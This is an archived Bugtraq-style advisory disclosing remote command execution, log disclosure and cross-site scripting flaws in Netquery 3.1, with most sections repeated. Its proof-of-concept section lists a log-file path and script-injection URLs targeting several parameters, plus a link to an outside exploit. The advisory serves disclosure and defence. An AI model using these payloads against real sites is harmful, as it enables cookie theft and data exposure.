Netquery Multiple Remote Vulnerabilities
BID:14373
Info
Netquery Multiple Remote Vulnerabilities
| Bugtraq ID: | 14373 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 25 2005 12:00AM |
| Updated: | Jul 25 2005 12:00AM |
| Credit: | Discovery is credited to rgod <[email protected]>. |
| Vulnerable: |
Netquery Netquery 3.1 |
| Not Vulnerable: | |
Discussion
Netquery Multiple Remote Vulnerabilities
Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.
Netquery 3.1 is affected by these vulnerabilities.
Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.
Netquery 3.1 is affected by these vulnerabilities.
Exploit / POC
Netquery Multiple Remote Vulnerabilities
An exploit is not required.
The following proof of concept examples are available:
Log disclosure:
http://www.example.com/[path]/logs/nq_log.txt
Cross-site scripting:
http://www.example.com/[path]/submit.php?portnum="/><script>alert(document.cookie)</script>
http://www.example.com/[path]/nqgeoip2.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqgeoip2.php?body=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqgeoip.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqports.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqports2.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqports2.php?body=<script>alert(document.cookie)</script>
http://www.example.com/[path]/portlist.php?portnum=<script>alert(document.cookie)</script>
The following exploit has been provided by rgod:
http://www.rgod.altervista.org/netquerypoc.html
An exploit is not required.
The following proof of concept examples are available:
Log disclosure:
http://www.example.com/[path]/logs/nq_log.txt
Cross-site scripting:
http://www.example.com/[path]/submit.php?portnum="/><script>alert(document.cookie)</script>
http://www.example.com/[path]/nqgeoip2.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqgeoip2.php?body=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqgeoip.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqports.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqports2.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqports2.php?body=<script>alert(document.cookie)</script>
http://www.example.com/[path]/portlist.php?portnum=<script>alert(document.cookie)</script>
The following exploit has been provided by rgod:
http://www.rgod.altervista.org/netquerypoc.html
Solution / Fix
Netquery Multiple Remote Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Netquery Multiple Remote Vulnerabilities
References:
References:
- Netquery 3.1 remote commands execution, cross site scripting (Packetstorm)
- Netquery Product Page (Netquery)